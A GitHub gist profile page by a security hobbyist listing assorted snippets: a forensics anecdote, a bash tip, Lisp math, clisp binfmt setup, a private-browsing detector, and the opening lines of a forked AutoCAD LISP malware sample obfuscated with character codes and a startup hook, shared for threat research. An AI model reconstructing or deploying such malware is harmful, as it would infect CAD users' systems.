Skip to content

Instantly share code, notes, and snippets.

View ksaj's full-sized avatar
👾
Spring is almost here!

Karsten Johansson ksaj

👾
Spring is almost here!
  • <a rel="me" href="https://infosec.exchange/@ksaj">Mastodon</a>
  • Toronto, Canada
  • X @IntruderVS1400
View GitHub Profile
@ksaj
ksaj / On @Unix_Guru
Last active June 6, 2021 23:17
A few comparisons with what we discovered about Michael Ball yesterday
A few comparisons with what we discovered about Michael Ball yesterday
----------------------------------------------------------------------
by: KSAJ
In the early 2000's, digital forensics was a new sport, and I had a few forensics certs.
After what we just learned about @unix_guru, I thought I might talk about two cases I worked on that will give an idea what to expect going forward. They both had entirely different outcomes, and in both cases on behalf of the defense.
CASE#1: The officers received child pornography in an IRC (chat system) sting operation. This led to an arrest, and the officers found what they described as "the worst child pornography we've seen" and "toddler porn." Adding to the urgency, the suspect's wife was pregnant and expecting a daughter, and the charges were a clear threat to the family unit.
@ksaj
ksaj / My New Years Resolution
Created December 7, 2020 07:46
New Years Resolution - Elon Musk, Space and Marijuana, what more could you want?
https://twitter.com/IntruderVS1400/status/1335849862395535361
Intruder 色
@IntruderVS1400
I want to partner with @elonmusk growing #cannabis in near-Earth orbit.
You place an order, look outside and see a streak across the sky. It lands at a
local "last mile" area, and then gets local autonomous delivery to the destination.
@ksaj
ksaj / bash-trick.txt
Created June 30, 2020 05:23
A bash shortcut that blew my mind
Bash users already know you can !$ to run a different command with previous args.
-> ls text.txt ; less !$ # becomes *less text.txt*
Today I discovered $:0
-> ls text.txt ; $:0 less # becomes *less text.txt*
Mind. Blown!
@ksaj
ksaj / three-cubed.lisp
Created November 6, 2019 04:02
3 = the sum of 3 cubes ; a third solution, written in Common Lisp
;;;; Previously there were only 2 known solutions for
;;;; a list of 3 numbers that when cubed and then added
;;;; together, equal 3. Here is a new one.
(setq a 569936821221962380720)
(setq b -0569936821113563493509)
(setq c -472715493453327032)
(defun cubed (x)
"ay cubed plus bee cubed plus cee cubed equals 3 period"
@ksaj
ksaj / AutoCAD LISP Malware
Created January 20, 2019 00:00 — forked from JohnLaTwC/AutoCAD LISP Malware
AutoCAD LISP Malware
## Uploaded by @JohnLaTwC
## AutoCAD LISP Malware
###################################################################
## 332ca1146b1478cc9ddda9be07815a48071b9e83081eb995f33379385d3258f2
(setq s::startup nil)
(setq *startup* (strcat (chr 40)
(chr 115)
(chr 101)
(chr 116)
@ksaj
ksaj / sudoku_solver.c
Created August 9, 2018 23:29 — forked from mtnoztrk/sudoku_solver.c
Parallel Sudoku Solver
/*********************************************
* Rearranged by Metin ÖZTÜRK
* Parallel Programming Homework III
**********************************************/
#include <stdio.h>
#include <math.h>
#include <stdbool.h>
#include <stdlib.h>
#include "mpi.h"
@ksaj
ksaj / audiofuzz.txt
Last active August 9, 2018 23:09
Audio Fuzzing trick
I was thinking about those so-called ghost scanners and came up with an idea for sending secret messages.
The way the scanners work is they monitor a radio frequency that is saturated with white noise, and then
feed the audio static to a voice recognizer. Sometimes it picks up "words" in the static, and displays a
text transcription of it. Real live ghosts... spooky!
So now it makes me wonder if anyone hacking their Siri/Alexa/Whomever has trimmed samples of these ghost
words to send messages using static that was fuzzed from the airwaves...
Sure, it isn't practical in so many ways, but it would still be a fun hack. At least as fun as the video
@ksaj
ksaj / clisp-binfmt.txt
Created August 1, 2018 07:53
Making clisp code executable from the Linux kernel
From: https://clisp.sourceforge.io/impnotes/quickstart.html#quickstart-unix (very end of page):
32.6.4. Associating extensions with CLISP via kernel
Platform Dependent: Linux platforms only.
You have to build your kernel with CONFIG_BINFMT_MISC=y and CONFIG_PROC_FS=y. Then you will have a /proc/sys/fs/binfmt_misc/ directory and you will be able to do (as root; you might want to put these lines into /etc/rc.d/rc.local):
# echo ":CLISP:E::fas::/usr/local/bin/clisp:" >> /proc/sys/fs/binfmt_misc/register
# echo ":CLISP:E::lisp::/usr/local/bin/clisp:" >> /proc/sys/fs/binfmt_misc/register
Then you can do the following:
@ksaj
ksaj / detect-private-browsing.js
Created April 4, 2018 03:05 — forked from cou929/detect-private-browsing.js
Detect private browsing mode (InPrivate Browsing or Incognito).
function retry(isDone, next) {
var current_trial = 0, max_retry = 50, interval = 10, is_timeout = false;
var id = window.setInterval(
function() {
if (isDone()) {
window.clearInterval(id);
next(is_timeout);
}
if (current_trial++ > max_retry) {
window.clearInterval(id);